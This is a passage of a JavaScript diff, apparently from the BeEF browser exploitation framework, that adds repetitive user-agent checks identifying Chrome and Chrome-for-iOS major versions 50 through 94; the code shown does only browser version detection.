+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 50.
+     * @example: beef.browser.isC50iOS()
+     */
+    isC50iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 51.
+     * @example: beef.browser.isC51()
+     */
+    isC51: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 51.
+     * @example: beef.browser.isC51iOS()
+     */
+    isC51iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 52.
+     * @example: beef.browser.isC52()
+     */
+    isC52: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 52.
+     * @example: beef.browser.isC52iOS()
+     */
+    isC52iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 53.
+     * @example: beef.browser.isC53()
+     */
+    isC53: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 53.
+     * @example: beef.browser.isC53iOS()
+     */
+    isC53iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 54.
+     * @example: beef.browser.isC54()
+     */
+    isC54: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 54.
+     * @example: beef.browser.isC54iOS()
+     */
+    isC54iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 55.
+     * @example: beef.browser.isC55()
+     */
+    isC55: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 55.
+     * @example: beef.browser.isC55iOS()
+     */
+    isC55iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 56.
+     * @example: beef.browser.isC56()
+     */
+    isC56: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 56.
+     * @example: beef.browser.isC56iOS()
+     */
+    isC56iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 57.
+     * @example: beef.browser.isC57()
+     */
+    isC57: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 57.
+     * @example: beef.browser.isC57iOS()
+     */
+    isC57iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 58.
+     * @example: beef.browser.isC58()
+     */
+    isC58: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 58.
+     * @example: beef.browser.isC58iOS()
+     */
+    isC58iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 59.
+     * @example: beef.browser.isC59()
+     */
+    isC59: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 59) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 59.
+     * @example: beef.browser.isC59iOS()
+     */
+    isC59iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 59) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 60.
+     * @example: beef.browser.isC60()
+     */
+    isC60: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 60) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 60.
+     * @example: beef.browser.isC60iOS()
+     */
+    isC60iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 60) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 61.
+     * @example: beef.browser.isC61()
+     */
+    isC61: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 61) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 61.
+     * @example: beef.browser.isC61iOS()
+     */
+    isC61iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 61) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 62.
+     * @example: beef.browser.isC62()
+     */
+    isC62: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 62) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 62.
+     * @example: beef.browser.isC62iOS()
+     */
+    isC62iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 62) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 63.
+     * @example: beef.browser.isC63()
+     */
+    isC63: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 63) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 63.
+     * @example: beef.browser.isC63iOS()
+     */
+    isC63iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 64.
+     * @example: beef.browser.isC64()
+     */
+    isC64: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 64) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 64.
+     * @example: beef.browser.isC64iOS()
+     */
+    isC64iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 64) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 65.
+     * @example: beef.browser.isC65()
+     */
+    isC65: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 65) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 65.
+     * @example: beef.browser.isC65iOS()
+     */
+    isC65iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 65) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 66.
+     * @example: beef.browser.isC66()
+     */
+    isC66: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 66) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 66.
+     * @example: beef.browser.isC66iOS()
+     */
+    isC66iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 66) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 67.
+     * @example: beef.browser.isC67()
+     */
+    isC67: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 67) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 67.
+     * @example: beef.browser.isC67iOS()
+     */
+    isC67iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 67) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 68.
+     * @example: beef.browser.isC68()
+     */
+    isC68: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 68) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 68.
+     * @example: beef.browser.isC68iOS()
+     */
+    isC68iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 68) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 69.
+     * @example: beef.browser.isC69()
+     */
+    isC69: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 69) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 69.
+     * @example: beef.browser.isC69iOS()
+     */
+    isC69iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 69) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 70.
+     * @example: beef.browser.isC70()
+     */
+    isC70: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 70) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 70.
+     * @example: beef.browser.isC70iOS()
+     */
+    isC70iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 70) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 71.
+     * @example: beef.browser.isC71()
+     */
+    isC71: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 71) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 71.
+     * @example: beef.browser.isC71iOS()
+     */
+    isC71iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 71) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 72.
+     * @example: beef.browser.isC72()
+     */
+    isC72: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 72) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 72.
+     * @example: beef.browser.isC72iOS()
+     */
+    isC72iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 72) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 73.
+     * @example: beef.browser.isC73()
+     */
+    isC73: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 73) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 73.
+     * @example: beef.browser.isC73iOS()
+     */
+    isC73iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 73) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 74.
+     * @example: beef.browser.isC74()
+     */
+    isC74: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 74) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 74.
+     * @example: beef.browser.isC74iOS()
+     */
+    isC74iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 74) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 75.
+     * @example: beef.browser.isC75()
+     */
+    isC75: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 75) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 75.
+     * @example: beef.browser.isC75iOS()
+     */
+    isC75iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 75) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 76.
+     * @example: beef.browser.isC76()
+     */
+    isC76: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 76) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 76.
+     * @example: beef.browser.isC76iOS()
+     */
+    isC76iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 76) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 77.
+     * @example: beef.browser.isC77()
+     */
+    isC77: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 77) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 77.
+     * @example: beef.browser.isC77iOS()
+     */
+    isC77iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 77) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 78.
+     * @example: beef.browser.isC78()
+     */
+    isC78: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 78) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 78.
+     * @example: beef.browser.isC78iOS()
+     */
+    isC78iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 78) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 79.
+     * @example: beef.browser.isC79()
+     */
+    isC79: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 79) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 79.
+     * @example: beef.browser.isC79iOS()
+     */
+    isC79iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 79) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 80.
+     * @example: beef.browser.isC80()
+     */
+    isC80: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 80) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 80.
+     * @example: beef.browser.isC80iOS()
+     */
+    isC80iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 80) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 81.
+     * @example: beef.browser.isC81()
+     */
+    isC81: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 81) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 81.
+     * @example: beef.browser.isC81iOS()
+     */
+    isC81iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 81) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 82.
+     * @example: beef.browser.isC82()
+     */
+    isC82: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 82) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 82.
+     * @example: beef.browser.isC82iOS()
+     */
+    isC82iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 82) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 83.
+     * @example: beef.browser.isC83()
+     */
+    isC83: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 83) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 83.
+     * @example: beef.browser.isC83iOS()
+     */
+    isC83iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 83) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 84.
+     * @example: beef.browser.isC84()
+     */
+    isC84: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 84) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 84.
+     * @example: beef.browser.isC84iOS()
+     */
+    isC84iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 84) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 85.
+     * @example: beef.browser.isC85()
+     */
+    isC85: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 85) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 85.
+     * @example: beef.browser.isC85iOS()
+     */
+    isC85iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 85) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 86.
+     * @example: beef.browser.isC86()
+     */
+    isC86: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 86) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 86.
+     * @example: beef.browser.isC86iOS()
+     */
+    isC86iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 86) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 87.
+     * @example: beef.browser.isC87()
+     */
+    isC87: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 87) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 87.
+     * @example: beef.browser.isC87iOS()
+     */
+    isC87iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 87) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 88.
+     * @example: beef.browser.isC88()
+     */
+    isC88: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 88) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 88.
+     * @example: beef.browser.isC88iOS()
+     */
+    isC88iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 88) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 89.
+     * @example: beef.browser.isC89()
+     */
+    isC89: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 89) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 89.
+     * @example: beef.browser.isC89iOS()
+     */
+    isC89iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 89) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 90.
+     * @example: beef.browser.isC90()
+     */
+    isC90: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 90) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 90.
+     * @example: beef.browser.isC90iOS()
+     */
+    isC90iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 90) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 91.
+     * @example: beef.browser.isC91()
+     */
+    isC91: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 91) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 91.
+     * @example: beef.browser.isC91iOS()
+     */
+    isC91iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 91) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 92.
+     * @example: beef.browser.isC92()
+     */
+    isC92: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 92) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 92.
+     * @example: beef.browser.isC92iOS()
+     */
+    isC92iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 92) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 93.
+     * @example: beef.browser.isC93()
+     */
+    isC93: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 93) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome for iOS 93.
+     * @example: beef.browser.isC93iOS()
+     */
+    isC93iOS: function () {
+        return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 93) ? true : false);
+    },
+
+    /**
+     * Returns true if Chrome 94.
+     * @example: beef.browser.isC94()
+     */
+    isC94: function () {
+        return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 94) ? true : false);
+    },
+
+    /**
